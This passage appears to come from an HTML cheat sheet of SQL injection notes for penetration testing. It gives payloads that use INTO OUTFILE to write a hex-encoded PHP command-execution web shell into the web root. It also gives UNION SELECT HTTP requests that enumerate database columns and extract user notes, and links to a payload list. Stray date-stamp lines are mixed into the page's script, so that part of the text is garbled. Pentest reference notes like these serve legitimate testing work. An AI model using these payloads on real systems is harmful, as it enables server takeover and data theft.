< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "o" > < < / span > < span class = "n" > cookieID< / span > < span class = "o" > > < / span > < span class = "s1" > ' into outfile ' < / span > < span class = "o" > /< / span > < span class = "n" > var< / span > < span class = "o" > /< / span > < span class = "n" > www< / span > < span class = "o" > /< / span > < span class = "n" > html< / span > < span class = "o" > /< / span > < span class = "n" > shello< / span > < span class = "p" > .< / span > < span class = "n" > php< / span > < span class = "err" > ' < / span > < span class = "w" > < / span > < span class = "n" > lines< / span > < span class = "w" > < / span > < span class = "n" > terminated< / span > < span class = "w" > < / span > < span class = "k" > by< / span > < span class = "w" > < / span > < span class = "mi" > 0< / span > < span class = "n" > x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e< / span > < span class = "w" > < / span > < span class = "c1" > -- -< / span >
< / code > < / pre > < / div >
< ul >
< li > Insert < code > < ?php system($_GET["cmd"]); ?> < / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "err" > " < / span > < span class = "w" > < / span > < span class = "k" > Union< / span > < span class = "w" > < / span > < span class = "k" > Select< / span > < span class = "w" > < / span > < span class = "mi" > 1< / span > < span class = "p" > ,< / span > < span class = "mi" > 0< / span > < span class = "n" > x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d< / span > < span class = "p" > ,< / span > < span class = "mi" > 3< / span > < span class = "p" > ,< / span > < span class = "mi" > 4< / span > < span class = "w" > < / span > < span class = "k" > INTO< / span > < span class = "w" > < / span > < span class = "n" > OUTFILE< / span > < span class = "w" > < / span > < span class = "s1" > ' /var/www/html/shell.php' < / span > < span class = "w" > < / span > < span class = "c1" > -- -< / span >
< / code > < / pre > < / div >
< h3 id = "examples" > Examples< / h3 >
< ul >
< li > sqli inside HTTP request to an API. Five values inside select have been discovered before< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "err" > GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = ' user' HTTP/1.1< / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Get col names
```HTTP
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = ' user' HTTP/1.1
```
* Get notes from users by id
```HTTP
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
```
< / code > < / pre > < / div >
< h2 id = "payloads" > Payloads< / h2 >
< ul >
< li > < a href = "https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads" > List< / a > < / li >
< / ul >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
< script >
2022-09-09 15:41:05 +02:00
function linkClick(obj) {
2022-09-02 09:05:59 +02:00
if (obj.open) {
2022-09-09 15:41:05 +02:00
//console.log('open');
2022-09-02 09:05:59 +02:00
if (sessionStorage.getItem(obj.id) & & !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
2022-09-09 15:41:05 +02:00
sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
2022-09-02 09:05:59 +02:00
} else {
2022-09-09 15:41:05 +02:00
//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length ; i + + ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
2022-09-02 09:05:59 +02:00
< / script >
2022-09-09 15:41:05 +02:00
< script async src = "https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type = "text/javascript" > < / script >
2022-09-02 09:05:59 +02:00
< script type = "text/x-mathjax-config" >
2022-09-09 15:41:05 +02:00
MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
< / script >
2022-09-02 09:05:59 +02:00
< / body >
< / html >
